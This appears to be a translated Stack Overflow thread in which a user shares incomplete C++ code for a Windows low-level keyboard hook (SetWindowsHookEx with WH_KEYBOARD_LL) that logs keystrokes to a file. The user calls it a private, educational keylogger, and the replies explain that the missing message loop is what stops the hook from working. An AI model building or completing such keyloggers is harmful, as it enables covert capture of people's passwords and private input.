2016-05-23 145 views
-2

我试图建立自己的键盘记录(私人/教育)来扩展我的技能。 我开始研究钩子,在这种情况下是KBDLLHOOKSTRUCT。KBDLL挂钩问题

我不知道这有什么错我的代码,但它不工作。 我要做的就是:

  • 与N-代码,wParam和lParam加一回CallNextHookEx方法创建回调函数。

  • 我设置在HHOOK的函数调用SetWindowsHookEx处理,把在一个无限循环。我的KBDLLHOOKSTRUCT设置为* lParam,因为lParam是一个指向包含我想要的信息的KBDLLHOOKSTRUCT的指针,对吧?

我的代码:

#include <windows.h> 
#include <iostream> 
#include <fstream> 
#include <string> 

HHOOK hookHandle; 
KBDLLHOOKSTRUCT hookData; 

LRESULT CALLBACK LowLevelKeyboardProc(int nC, WPARAM wP, LPARAM lP); 
std::string readLogs(); 
void writeLogs(std::string logs); 

int main() 
{ 
    hookHandle = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, NULL, 0); 
    while(true) { 

     Sleep(1000); 
    } 
    return 0; 
} 

std::string readLogs() { 
    std::ifstream readFile; 
    readFile.open("logs.txt"); 
    std::string logs; 
    readFile >> logs; 
    return logs; 
} 

void writeLogs(std::string logs) { 
    std::string oLogs = readLogs(); 
    std::ofstream writeFile; 
    writeFile.open("logs.txt"); 
    writeFile << oLogs + logs; 
} 

LRESULT CALLBACK LowLevelKeyboardProc(int nC, WPARAM wP, LPARAM lP) { 
    if (nC >= 0) { 
     if (wP == WM_KEYDOWN) { 
      hookData = *((KBDLLHOOKSTRUCT*)lP); 
     } 
    } 
    return CallNextHookEx(hookHandle, nC, wP, lP); 
} 

就忽略readLogs()和writeLogs()。

我认为问题出在:

hookData = *((KBDLLHOOKSTRUCT*)lP); 

但是,情况并非如此明显,因为INT x的一个简单的增量并没有发生。

因此我来这里寻求帮助。我能做些什么来解决我的问题?

+0

这哪里是所谓的x的增量? –

+0

[原始输入](https://msdn.microsoft.com/en-us/library/windows/desktop/ms645543.aspx) – theB

+0

@EricBrown Here you go:http://pastebin.com/pSQ3mSs1 – Flinzy

回答

2

您需要阅读文档。直接从LowLevelKeyboardProc

此钩子在安装它的线程的上下文中调用。该调用是通过向安装该钩子的线程发送消息来完成的。 因此,安装该钩子的线程必须有一个消息循环。

+0

谢谢你你的回应。你能否指出我的方向?我已将while(true){}循环更改为消息循环,但只有在向回调函数添加消息框时才起作用。而且我宁愿在每个密钥后都没有弹出消息框。我可以使用什么不同种类的'信息'?我试过SendMessage(HWND_BROADCAST,NULL,WP,LP)但没有任何反应。 – Flinzy

+0

@Flinzy:你需要的只是一个标准的消息循环(没有任何过滤器)。有关示例,请参见[使用消息和消息队列](https://msdn.microsoft.com/zh-cn/library/windows/desktop/ms644928.aspx)。 – IInspectable